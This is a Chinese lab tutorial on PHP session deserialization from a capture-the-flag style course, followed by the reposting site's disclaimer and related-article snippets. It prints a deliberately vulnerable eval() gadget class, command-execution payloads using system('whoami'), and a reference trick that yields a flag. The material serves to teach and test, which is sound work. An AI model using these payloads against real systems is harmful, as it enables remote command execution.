WEB渗透—反序列化(十)

Web渗透—反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十九、session反序列化

1.session

session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(linux系统默认在 /tmp 目录下,windows系统默认在 C:\Windows\Temp 目录下,可通过查看phpinfo中的session.save_path参数查找保存路径)。

存取数据的格式有多种,常用的有三种

漏洞产生:写入格式和读取格式不一致

处理器

对应的储存格式

php

键名+竖线+经过serialize()函数序列化处理的值

php_serizlize(php>=5.5.4)

经过serialize()函数序列化处理的数组

php_binary

键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值

默认情况下用php格式储存

2.示例代码

php :

<?php
session_start();
$_SESSION[‘benben’]=$_GET[‘ben’];
?>

通过ben参数传入"123456"

benben|s:6:"123456";

php_serialize:

声明session存储格式为php_serialize

<?php
ini_set('session.serialize_handler','php_serialize'); //声明session存储格式为php_serialize
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

通过ben和b参数传入 "123456" 和 "666"

a:2:{s:6:"benben";s:6:"123456";s:1:"b";s:3:"666";}         //PHP服务版本需在5.5.4以上

php_binary:

声明session存储格式为php_binary

<?php
ini_set('session.serialize_handler','php_binary'); //声明session存储格式为php_binary
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

通过ben和b参数传入 "123456" 和 "666"

benbens:6:"123456";bs:3:"666";        //"benben"前二进制为"06","b"前二进制为"01"

3.PHP session反序列化漏洞

当网站序列化并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生。

实例代码:

save.php

提交a以php_serialize格式保存

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

vul.php

<?php 
ini_set('session.serialize_handler','php');
session_start();
class D{var $a;function __destruct(){eval($this->a);}
}
?>

解题代码:

利用php_serialize存储session格式与php读取session格式的方式不同产生的漏洞执行系统命令

<?php
class D{var $a = "system('whoami');";        //通过system()函数执行系统命令
}
echo serialize(new D());
?>

O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}

解题步骤:

1)构造payload:将获得的序列化字符前加”|”传入save.php

|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}

2)后端将存储为:

a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

 

3.以php格式读取session会把 | 后的值进行反序列化

O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

4.此时访问 vul.php 页面,来达到执行命令的效果


二十、session反序列化例题

1.实例代码

index.php

<?php
session_start();
class Flag{public $name;public $her;function __wakeup(){$this->her=md5(rand(1, 10000));if ($this->name===$this->her){include('flag.php');echo $flag;}}}
?>

hint.php

在index.php提示了hint.php页面 

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

 

2.解题代码

此题目中不仅出现了 session反序列化知识点,同时也出现了引用的知识点

<?php
class Flag{public $name;public $her;
}
$a = new Flag();
$a->name=&$a->her;
echo serialize($a);
?>

让 $name 的值引用 $her 的值 

O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

3. 解题步骤

1)构造payload:将获得的序列化字符前加”|”传入hint.php

|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

2)后端将存储为:

a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}

 

3.以php格式读取session会把 | 后的值进行反序列化

O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}

4.此时访问 index.php 页面,反序列化触发__wakeup(),判断$name全等于$her得到flag

 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/188534.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何解决SSL证书部署后未生效或网站显示不安全

本文介绍SSL证书部署后未生效或网站显示不安全的排查方法。 浏览器提示“您与此网站建立的连接不安全” 浏览器提示“无法访问此页面” 浏览器提示“这可能是因为站点使用过期或者不全的TLS安全设置” 浏览器提示“此页面上部分内容不安全&#xff08;例如图像&#xff09;”…

数据确权怎么理解?企业应该怎么做?

什么是数据确权&#xff1f; 所谓数据确权&#xff0c;就是确定数据的权利属性&#xff0c;主要包含两个层面&#xff1a;第一是确定数据的权利主体&#xff0c;即谁对数据享有权利。第二是确定权利的内容&#xff0c;即享有什么样的权利。 在数据生产、流通、使用等过程中&…

Linux系统:使用CloudDrive实现云盘本地挂载

此处以不使用Docker服务 系统&#xff1a; Ubuntu22.04 硬件信息&#xff1a; x86_64 1 安装CloudDrive CloudDrive下载地址 在服务器上安装fusemount3 sudo apt-get -y install fuse3下载对应版本的CloudDrive压缩包&#xff0c;我的机器为&#xff1a;clouddrive-2-linux-…

【Excel】WPS快速按某列查重数据

查重值 excel列几条数据肉眼可见&#xff0c;如何千万级别数据查验呢&#xff1f;平时很少用&#xff0c;记录一下: 先框选列要验证的数据&#xff0c;然后&#xff1a;开始->条件格式->突出显示单元格规则->重复值 效果

java元注解

一、注解 Annotation&#xff08;注解&#xff09;是 Java 提供的一种对元程序中元素关联信息和元数据&#xff08;metadata&#xff09;的途径和方法。 Annatation(注解)是一个接口&#xff0c;程序可以通过反射来获取指定程序中元素的 Annotation对象&#xff0c;然后通过该…

[山东大学操作系统课程设计]实验2

0.写在前面 其实昨天就把这篇写完了&#xff0c;可是遇到了一些突发事件&#xff0c;暂时还没想好自己的出路在哪&#xff0c;争取这两天把课程设计的实验全都写完吧。。。。。我知道大家现在都很难过&#xff0c;生活上&#xff0c;学业上&#xff0c;事业上。。。。但是还是…

CentOS7根分区扩容之一

Centos默认根分区50G&#xff0c;很快接近100%&#xff0c;如果你的系统使用了全部磁盘&#xff0c;文件系统是xfs&#xff0c;根分区和/home都是逻辑卷&#xff0c;那么在没有额外的磁盘增加情况下&#xff0c;可以从/home卷中切分一部分空间增加到根分区空间。 1.由于xfs格式…

视频合并方法:掌握视频批量嵌套合并技巧,成为剪辑高手

在视频剪辑的过程中&#xff0c;我们经常需要将多个视频片段合并在一起。传统的视频合并方法往往需要大量的时间和精力&#xff0c;通过掌握批量嵌套合并技巧&#xff0c;可以更高效地完成这项任务&#xff0c;成为剪辑高手。本文讲解一种简单易学的视频合并方法&#xff0c;轻…

对于Web标准以及W3C的理解、对viewport的理解、xhtml和html有什么区别?

1、对于Web标准以及W3C的理解 Web标准 Web标准简单来说可以分为结构、表现、行为。 其中结构是由HTML各种标签组成&#xff0c;简单来说就是body里面写入标签是为了页面的结构。 表现指的是CSS层叠样式表&#xff0c;通过CSS可以让我们的页面结构标签更具美感。 行为指的是…

关于 ls -s 输出文件大小的单位问题的讨论

自己看书正好看到这里&#xff0c;正纳闷呢&#xff0c;上网查了下&#xff0c;发现不是我自己在为这个问题感到困惑。 有个大哥提出一个问题&#xff1a; 问题标题&#xff1a; ls -s的单位到底是什么&#xff1f; man ls -s, --size print the alloca…

[读论文][跑代码]BK-SDM: A Lightweight, Fast, and Cheap Version of Stable Diffusion

github: GitHub - Nota-NetsPresso/BK-SDM: A Compressed Stable Diffusion for Efficient Text-to-Image Generation [ICCV23 Demo] [ICML23 Workshop] ICML 2023 Workshop on ES-FoMo 简化方式 蒸馏方式&#xff08;训练Task蒸馏outKD-FeatKD&#xff09; 训练数据集 评测指标…

美丽的时钟

案例绘制一个时钟 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>美丽的时钟</title><script language"javascript">window.onloadfunction(){var clockdocument.getElementById("clock"…

Unity 使用Horizontal Layout Group和Toggle制作多个水平开关按钮实现自动排列和单个点击放大后的自动排列。

Unity的布局组件Horizontal Layout Group是很好用的&#xff0c;当然也包括其它布局组件也一样好用。 比如要实现多按钮开关自动水平排列&#xff0c;那么就可以使用它了。 首先我们为按钮创建个父物体&#xff08;我这里使用了Scroll View中的Content作为父物体&#xff09;…

weblogic任意文件上传漏洞(CVE-2018-2894)

任务一&#xff1a; 复现环境中的漏洞 任务二&#xff1a; 上传webshell或者反弹shell&#xff0c;并执行whoami。 任务一&#xff1a; 1.环境搭建&#xff0c;发现需要密码&#xff0c;所以我们去日志里面查看管理员密码。 2.了解一下这个平台&#xff0c;然后进行一些基本配…

基于Python Flask 的全流程全栈项目自己的实战心得

我基于Python Flask框架开发全流程全栈项目的实战经验和心得。我将介绍整个项目的架构设计、前后端交互、数据库管理以及部署等方面&#xff0c;并提供具体的代码示例。通过这个实例项目&#xff0c;你将学习到如何使用Flask构建一个完整的Web应用&#xff0c;并了解一些常见的…

实现优雅的自增枚举类:Python中的枚举与自增技巧

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 枚举类型在编程中扮演着重要的角色&#xff0c;它们为变量赋予了更加清晰的含义。然而&#xff0c;在Python中&#xff0c;实现自增的枚举类并非直接而简单的任务。本文将深入讨论如何通过不同的方式优雅地实现自…

Zigbee—基于Z-STACK组网

&#x1f3ac;慕斯主页&#xff1a;修仙—别有洞天 ♈️今日夜电波&#xff1a;チノカテ—ヨルシカ 0:46━━━━━━️&#x1f49f;──────── 4:08 &#x1f504; ◀️ ⏸ ▶️ ☰ &a…

每天五分钟计算机视觉:经典的卷积神经网络之VGG-16模型

VGG-16 Vgg16是牛津大学VGG组提出来的,相比于AlexNet来说,AlexNet的一个改进是采用连续的几个4*3的卷积核来代替AlexNet中的较大的卷积核(11*11,5*5)。前面我们也说过了使用小卷积核是优于大的卷积核的,因为多层非线性层可以增加网络深度来保证学习到更加复杂的模式,而且代…

TTM Squeeze挤牌指标选股公式,通过波动率和动量判断能量释放

TTM Squeeze&#xff08;挤牌&#xff09;是由约翰卡特(John Carter)发明的波动率和动量指标&#xff0c;在其著作《驾驭交易》中进行了介绍。当价格在窄幅区间震荡盘整为下一次大幅上涨或下跌积蓄能量时&#xff0c;就可以用挤牌指标来识别。Squeeze的意思是“挤压”&#xff…

速通MySql

一、简介 1、什么是数据库 数据仓库&#xff0c;用来存储数据。访问必须用SQL语句来访问 2、数据库的类型 1、关系型数据库&#xff1a;Oracle、DB2、Microsoft SQL Server、Microsoft Access、MySQL等 可以用SQL语句方便的在一个表以及多个表之间做非常复杂的数据查询&#…